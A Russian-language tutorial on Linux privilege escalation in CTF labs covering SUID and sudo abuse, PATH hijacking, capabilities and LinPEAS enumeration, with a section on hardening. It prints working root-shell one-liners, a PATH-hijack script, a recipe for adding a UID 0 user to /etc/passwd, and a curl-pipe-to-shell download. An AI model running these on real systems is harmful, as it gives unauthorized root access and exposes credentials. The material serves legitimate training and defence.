
На последнем десятке решённых машин HackTheBox уровня Easy и Medium семь потребовали локальной эскалации привилегий через SUID-бинарники или кривые sudo-права. Паттерн один и тот же: reverse shell от www-data, sudo -l, GTFOBins, root-флаг. Но между «знаю теорию» и «стабильно забираю root за пять минут» — пропасть из нюансов, которые ни один русскоязычный гайд не раскрывает до конца. Почему bash -p работает с SUID, а bash без флага — нет? Почему find с sudo даёт root shell, а cat с sudo — только чтение файла? Как из стены вывода LinPEAS вычленить один нужный бинарник? Разбираем по порядку — с терминальным выводом, объяснением механики и указанием, когда техника не сработает.
Локальное повышение привилегий (LPE) — звено между получением начального доступа (initial access / foothold) и полной компрометацией хоста. В CTF это путь от непривилегированного пользователя — www-data, low-priv user, nobody — до root. На реальном внутреннем пентесте LPE открывает доступ к /etc/shadow для credential access (T1003.008), даёт возможность закрепиться (persistence) и контролировать сетевые интерфейсы для lateral movement. Подробнее — в нашем материале про linux для пентестера.
Техники из этой статьи в классификации MITRE ATT&CK относятся к тактике Privilege Escalation:
| Техника | ATT&CK ID | Тактика |
|---|---|---|
| Злоупотребление SUID/SGID | T1548.001 (Setuid and Setgid) | Privilege Escalation |
| Эксплуатация sudo-прав | T1548.003 (Sudo and Sudo Caching) | Privilege Escalation |
| Перехват PATH | T1574.007 (Path Interception by PATH Environment Variable) | Persistence / Privilege Escalation / Defense Evasion |
| Обнаружение файлов | T1083 (File and Directory Discovery) | Discovery |
| Чтение /etc/passwd и /etc/shadow | T1003.008 | Credential Access |
Место в цепочке влияет на приоритеты: если на CTF-машине есть сетевой доступ к другим хостам — полноценный root обязателен. Если задача изолирована — иногда достаточно через SUID-бинарник cat прочитать /root/root.txt без полноценного shell. Зачем усложнять, если флаг уже в руках?
Прежде чем переходить к практике — минимальный набор для отработки:
linpeas.sh (скачать заранее — на целевой машине wget может не оказаться), доступ к https://gtfobins.github.io/Все команды проверены на Ubuntu 22.04 и Debian 12. На CentOS/RHEL пути бинарников отличаются, но логика идентична.
SUID (Set User ID) — специальный бит разрешений, при котором бинарник исполняется с привилегиями владельца файла, а не того, кто его запустил. Если владелец — root и SUID-бит установлен, любой пользователь при запуске получает эффективный UID 0 на время жизни процесса. В MITRE ATT&CK это T1548.001 (Setuid and Setgid, Privilege Escalation).
Легитимные примеры: /usr/bin/passwd пишет в /etc/shadow, /usr/bin/ping открывает raw sockets — обе операции требуют root-привилегий. Проблема начинается, когда админ выставляет SUID на бинарник, через который можно вызвать shell или записать произвольные данные. Одна неосторожная chmod u+s — и граница между www-data и root перестаёт существовать.
Визуально SUID отображается как s вместо x в пользовательском триплете разрешений: -rwsr-xr-x. Строчная s означает, что execute-бит тоже установлен — бинарник рабочий. Заглавная S — SUID установлен, но execute-бит владельца снят. Владелец не может исполнить файл, но другие пользователи с execute-битом — могут и получат effective UID владельца при запуске. На CTF такое встречается как ложный след (и новички на него ведутся).
Установка SUID: chmod u+s /path/to/binary или chmod 4755 /path/to/binary. Четвёрка в первой позиции октального числа — SUID. Двойка — SGID (аналогично, но для группы). Единица — sticky bit (ограничивает удаление файлов в общих директориях вроде /tmp).
Согласно описанию на hackingarticles.in, SUID-бинарники остаются одним из самых надёжных путей к полной компрометации системы на post-exploitation этапе — и причина банальна: одна ошибка в настройке разрушает всю модель разграничения доступа.
Первая команда после получения shell на Linux-машине — поиск файлов с установленным SUID-битом (T1083, File and Directory Discovery):
find / -perm -4000 -type f 2>/dev/null
# Типичный вывод на CTF-машине:
# /usr/bin/passwd
# /usr/bin/sudo
# /usr/bin/mount
# /usr/bin/find
# /usr/local/bin/custom_backup
# /opt/scripts/suid-env
Компоненты команды: / — искать от корня, -perm -4000 — файлы с установленным SUID, -type f — только файлы (не директории), 2>/dev/null — подавить ошибки Permission denied.
Системные бинарники (passwd, sudo, mount, umount, chfn, chsh, newgrp, gpasswd) — штатные, их SUID ожидаем на чистой системе. Интерес представляют бинарники в нестандартных путях (/usr/local/bin/, /opt/, /home/) и стандартные утилиты, которым SUID не нужен в нормальных условиях: find, vim, python3, bash, env, nano. SUID на /bin/bash в production-системах практически не встречается — это специфика CTF-задач. На реальных серверах чаще обнаруживается SUID на find, vim, nano, less.
[Применимо: CTF всех уровней, внутренний пентест, legacy и modern-инфраструктура]
Алгоритм обработки результатов — для каждого нестандартного SUID-бинарника:
strings /path/to/binary и ltrace /path/to/binary (если доступен), ищем вызовы внешних команд без абсолютного пути--version или dpkg -l package_name на известные уязвимостиЕсли bash имеет SUID-бит, эскалация тривиальна: bash -p. Флаг -p (privileged mode) указывает bash не сбрасывать эффективный UID. Без флага bash приравнивает effective UID к real UID — защитная мера, встроенная в интерпретатор. Именно поэтому простой запуск ./bash (без -p) не даст root, даже если SUID выставлен. Я видел десятки вопросов на форуме «почему SUID есть, а root нет» — ответ всегда один: забыли -p.
Для find с SUID-битом эксплуатация работает через параметр -exec. Согласно GTFOBins (https://gtfobins.github.io/gtfobins/find/), команда ./find . -exec /bin/sh -p \; -quit порождает shell с правами владельца бинарника. Запускать нужно именно тот бинарник, на котором установлен SUID-бит — через полный путь, например /usr/bin/find, найденный командой find / -perm -4000. Копирование SUID-бинарника через cp сбрасывает SUID-бит, так как владельцем копии становится текущий пользователь. Флаг -quit останавливает find после первого совпадения. Флаг -p у shell — тот же принцип: не сбрасывать привилегии. Помимо shell, find позволяет писать файлы через -fprintf /path/to/output DATA и читать через -exec cat {} \; — все три функции работают с SUID.
Другие распространённые SUID-находки на CTF:
- python3 → python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
- cp → перезапись /etc/passwd модифицированной копией: сгенерировать хэш командой openssl passwd -6 password123 (SHA-512; вариант с -1 создаёт MD5-хэш, который может не приниматься PAM на hardened-системах), затем подготовить /tmp/passwd с добавленной строкой hacker:<полученный_хэш>:0:0::/root:/bin/bash и выполнить cp /tmp/passwd /etc/passwd
- nano/vim → редактирование /etc/passwd или /etc/shadow напрямую
Когда техника НЕ работает: AppArmor или SELinux в enforce-режиме с профилем для бинарника; файловая система с флагом nosuid (проверка: mount | grep nosuid); seccomp-профиль, блокирующий setuid/setgid syscalls в контейнерных средах. На HTB/THM уровня Easy ограничения обычно отсутствуют. На Medium и Hard — встречаются целенаправленно.
Кастомные SUID-бинарники — отдельный класс задач. Если бинарник внутри вызывает системную утилиту без полного пути (например, service вместо /usr/sbin/service), можно подменить вызываемую команду через переменную PATH (T1574.007, Path Interception by PATH Environment Variable).
Обнаружение: strings /opt/scripts/suid-env | grep -v "^$" — ищем строки, похожие на вызовы утилит. Видим service, curl, date без /usr/bin/ — вектор открыт.
# Создаём подменный бинарник
echo '#!/bin/bash' > /tmp/service
echo '/bin/bash -p' >> /tmp/service
chmod +x /tmp/service
# Добавляем /tmp в начало PATH
export PATH=/tmp:$PATH
# Запускаем SUID-бинарник — он найдёт наш service первым
/opt/scripts/suid-env
SUID-бинарник ищет service по PATH, находит наш вариант в /tmp раньше настоящего /usr/sbin/service — и выполняет его с root-привилегиями. Просто и элегантно.
[Применимо: CTF (Medium/Hard), внутренний пентест на legacy-инфраструктуре. На modern-системах кастомные SUID-бинарники — редкость, обычно используются capabilities.]
PATH hijacking работает только для скомпилированных C-бинарников, вызывающих внешние команды через system(), execlp() или execvp(). Если используется execve() с абсолютным путём — подмена невозможна. Bash-скрипты с SUID-битом ядро Linux игнорирует (SUID на shebang-скриптах не работает начиная с ранних версий 2.x из-за race condition между открытием файла и передачей интерпретатору — работает только для скомпилированных ELF). Если переменная PATH сбрасывается внутри бинарника или используется secure_path — аналогично, мимо.
Второй по частоте вектор — некорректно настроенные sudo-права (T1548.003, Sudo and Sudo Caching). Файл /etc/sudoers определяет, какие команды пользователь может выполнять с повышенными привилегиями. Мисконфигурация sudoers — самый частый вектор эскалации привилегий на CTF-машинах уровня Easy. И самый быстрый: одна команда — и ты root.
Команда sudo -l покажет доступные sudo-права текущего пользователя. Уязвимый вывод:
User www-data may run the following commands on target:
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/vim
(ALL) NOPASSWD: /usr/bin/env
Каждая строка с NOPASSWD — прямой путь к root через GTFOBins. Разберём типовые сценарии.
find с sudo — команда sudo find . -exec /bin/sh \; -quit порождает root shell. В отличие от SUID-варианта, здесь не нужен флаг -p у shell — sudo уже переключает контекст на root. GTFOBins для find (https://gtfobins.github.io/gtfobins/find/) подтверждает: при запуске через sudo привилегии не сбрасываются.
vim с sudo — запускаем sudo vim, затем из командного режима набираем :!/bin/bash. Vim порождает дочерний shell с правами root. Аналогично работают less (через !/bin/sh после запуска sudo less /etc/hosts), more, man.
env с sudo — sudo env /bin/bash — root shell через одну строку. env просто запускает указанную программу в заданном окружении, и делает это с привилегиями sudo. Тут даже объяснять нечего.
python3 с sudo — sudo python3 -c 'import os; os.system("/bin/bash")' — тот же результат. Работает с любым интерпретатором: ruby, perl, lua.
Особый случай: sudo без пароля к конкретному скрипту. Если sudoers разрешает запуск shell-скрипта, а скрипт writable для текущего пользователя — достаточно добавить /bin/bash в конец скрипта и запустить через sudo. Подарок от невнимательного админа.
Отдельный вектор возникает, когда конфигурация sudo сохраняет пользовательские переменные окружения (директива env_keep в sudoers включает LD_PRELOAD). В этом случае даже бинарник без явной возможности вызвать shell становится вектором эскалации: подгружаемая shared library выполняет setresuid(0,0,0) и запускает /bin/bash -p до основного кода программы. Проверить наличие сохраняемых переменных можно в выводе sudo -l — строка env_keep += LD_PRELOAD означает открытый вектор. Увидели её — считайте, root у вас в кармане.
[Применимо: CTF (Medium/Hard), внутренний пентест. На внешнем пентесте sudo-мисконфигурации редки — нужен предварительный lateral movement.]
Когда техника НЕ работает: sudo -l требует пароль текущего пользователя → сначала нужно найти credentials (в .bash_history, config-файлах, environment variables); secure_path в sudoers блокирует PATH hijacking через sudo; env_reset (по умолчанию включён) очищает переменные окружения, блокируя LD_PRELOAD.
GTFOBins (https://gtfobins.github.io/) — курируемый каталог Unix-бинарников, через которые можно обойти локальные ограничения безопасности. Не инструмент и не эксплойт — справочник с готовыми командами для каждого бинарника. Держите его открытым в соседней вкладке — пригодится на каждой второй машине.
Каждый бинарник в GTFOBins разбит по категориям:
| Категория | Описание | Когда использовать |
|---|---|---|
| Shell | Порождает интерактивный shell | Нужен полноценный root shell |
| File read | Читает произвольный файл | Достаточно прочитать флаг или /etc/shadow |
| File write | Пишет в произвольный файл | Добавить пользователя в /etc/passwd или SSH-ключ |
| SUID | Работает при установленном SUID-бите | SUID найден через find |
| Sudo | Работает при запуске через sudo | Бинарник доступен в sudo -l |
| Capabilities | Работает при cap_setuid | Найден через getcap |
Практический алгоритм для CTF:
/root/.ssh/authorized_keys или добавить пользователя с UID 0 в /etc/passwd)strings и ltraceСреди бинарников, задокументированных в GTFOBins: bash, chmod, docker, dpkg и десятки других. Некоторые (например, cat) позволяют только читать файлы, но не порождать shell. Для docker с SUID-битом или sudo-правами: запуск контейнера с монтированием корневой ФС хоста даёт полный root-доступ к файловой системе. Docker с sudo — это, по сути, root с дополнительным шагом.
Linux capabilities — гранулярная система привилегий, пришедшая на замену монолитному root-доступу. Вместо полного набора привилегий бинарник получает конкретные capability-флаги. Для эскалации интересен CAP_SETUID — он позволяет процессу менять UID без SUID-бита на файле. Через ls -la capabilities не видны — обнаруживаются только командой getcap -r / 2>/dev/null. И вот тут начинающие CTF-игроки часто спотыкаются: проверили SUID, проверили sudo, ничего не нашли — и сидят. А getcap не запустили.
Если python3 имеет cap_setuid+ep, эскалация: python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'. Для capsh с тем же capability: capsh --gid=0 --uid=0 --.
На CTF-машинах уровня Hard capabilities встречаются чаще, чем прямой SUID — потому что вектор менее очевидный и начинающие игроки его пропускают. На бумаге вроде понятно, но на практике без привычки не проверяешь.
[Применимо: CTF (Medium/Hard), внутренний пентест. В контейнерных средах (Docker, Kubernetes) capabilities — основной механизм управления привилегиями.]
LinPEAS (часть проекта PEASS-ng, активно поддерживается — последний релиз обычно не старше пары недель) автоматически проверяет десятки векторов эскалации привилегий. Запуск: ./linpeas.sh или curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh (если есть curl и выход в интернет).
LinPEAS выделяет находки цветом: красный/жёлтый — высокая вероятность эскалации (SUID на нестандартных бинарниках, writable /etc/passwd, sudo без пароля); зелёный — информация для контекста. Звучит удобно, но на практике вывод — стена текста на несколько экранов, и без системы в голове вы в ней утонете.
| Инструмент | Сценарий | Ограничения |
|---|---|---|
| LinPEAS | Полная энумерация, первый запуск | Объёмный вывод; генерирует шум в логах |
| LinEnum | Быстрая базовая проверка | Менее детальный, обновляется реже |
| suid3num | Фокусированный поиск SUID | Только SUID-вектор |
| Ручная проверка | Нет возможности загрузить скрипт | Требует знания команд наизусть |
Минимальный набор ручных команд, когда загрузить скрипт невозможно (нет wget/curl, нет writable директории с execute-правами):
find / -perm -4000 -type f 2>/dev/null — SUIDsudo -l — sudo-праваgetcap -r / 2>/dev/null — capabilitiescat /etc/crontab && ls -la /etc/cron.* — cron-задачиcat /etc/passwd — пользователи с UID 0 (кроме root — подозрительно)env и cat ~/.bash_history — переменные окружения и история команд (T1003.008)На практике в CTF я рекомендую: сначала ручные команды (30 секунд на каждую), затем LinPEAS для менее очевидных векторов — writable cron-скрипты, kernel version matching, NFS с no_root_squash, Docker socket, доступный текущему пользователю. Кстати, pspy (мониторинг процессов без root) — отличное дополнение к LinPEAS для обнаружения cron-задач, которые не видны в crontab.
Когда обнаружено несколько потенциальных векторов повышения привилегий до root, нужны приоритеты. Порядок проверки для максимальной скорости:
| Шаг | Проверка | Если найдено | Время до root |
|---|---|---|---|
| 1 | sudo -l |
sudo NOPASSWD на бинарник из GTFOBins | < 1 мин |
| 2 | SUID-бинарники | SUID на bash/find/vim/python | 1-2 мин |
| 3 | Capabilities | CAP_SETUID на интерпретаторе | 1-2 мин |
| 4 | Writable cron-скрипты | Root cron с w-правами для пользователя | 2-5 мин (ожидание) |
| 5 | Кастомный SUID + strings | PATH hijacking или SO injection | 5-15 мин |
| 6 | Writable /etc/passwd | Добавление пользователя с UID 0 | 2-3 мин |
| 7 | Kernel exploit (uname -r) |
Устаревшее ядро без патчей | 10-30 мин |
Чем выше в таблице — тем быстрее и надёжнее. Kernel exploits — крайнее средство: они могут обрушить систему (в CTF это перезагрузка и потеря shell), требуют компиляции на целевой системе (gcc не всегда доступен) и жёстко привязаны к конкретной версии ядра. Если дошли до kernel exploit — значит, скорее всего, пропустили что-то выше.
Все описанные техники эскалации привилегий работают на машинах с намеренными мисконфигурациями: CTF, лабораторные среды, legacy-серверы без hardening. В защищённой инфраструктуре картина другая.
AppArmor / SELinux. Mandatory Access Control ограничивает действия бинарников независимо от UID. Даже если find имеет SUID, AppArmor-профиль может запретить exec другого бинарника. Проверка: aa-status (AppArmor), getenforce (SELinux). В CTF на Hard-машинах эти механизмы иногда включены — и являются частью задачи.
nosuid на mount. Файловая система с флагом nosuid игнорирует SUID-биты. На modern-дистрибутивах /tmp и /dev/shm часто смонтированы с nosuid,noexec. Проверка: mount | grep nosuid. Если кастомный SUID-бинарник лежит на такой ФС — он не будет работать с повышенными привилегиями.
Auditd и мониторинг. В боевых средах запуск find / -perm -4000 и массовая энумерация генерируют алерты. LinPEAS тем более: его паттерны поведения (массовое чтение /proc, /etc, перебор cron) детектируются auditd и OSSEC. В CTF это неактуально, но на реальном внутреннем пентесте нужно учитывать скорость и объём операций.
Seccomp в контейнерах. Docker по умолчанию применяет seccomp-профиль, блокирующий часть системных вызовов. Это может заблокировать setuid/setgid даже при наличии SUID-бита внутри контейнера.
Hardened sudoers. Конфигурация с secure_path, env_reset, ограничением на конкретные аргументы (не ALL, а /usr/bin/systemctl restart nginx) и запретом !root существенно сужает поверхность атаки. Стандартные GTFOBins-команды могут не сработать — sudoers разрешает запуск бинарника, но только с фиксированными аргументами.
Согласно DISA STIG для Ubuntu 22.04, рекомендуемая конфигурация включает аудит всех sudo-вызовов, минимизацию SUID-бинарников и использование AppArmor в enforce-режиме. На CTF-платформах эти меры намеренно ослаблены для создания обучающих сценариев.
Восемь из десяти начинающих CTF-игроков, которых я наблюдаю на форуме, допускают одну и ту же ошибку: запускают LinPEAS, получают стену текста и теряются. Не потому что инструмент плохой — нет системы в голове. SUID, sudo, capabilities, cron — это не отдельные трюки из шпаргалки, а иерархия проверок с чётким приоритетом. sudo -l занимает секунду и в половине Easy-машин даёт root немедленно. Поиск SUID — ещё минуту. Capabilities — ещё минуту. И только потом стоит запускать автоматику, чтобы покрыть cron, NFS, kernel version.
Проблема writeup-ов в том, что они показывают готовый ответ, но не показывают процесс отбраковки: почему проверили этот вектор, а не тот, почему find с SUID интересен, а /usr/bin/passwd с SUID — нет. Человек, который знает пять техник и понимает decision tree, решает машины быстрее того, кто знает пятьдесят, но каждый раз идёт гуглить. Если хочешь не просто читать writeup-ы, а отрабатывать цепочки от reverse shell до root с ментором — на WAPT разбирают именно этот подход с лабами на каждый вектор.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...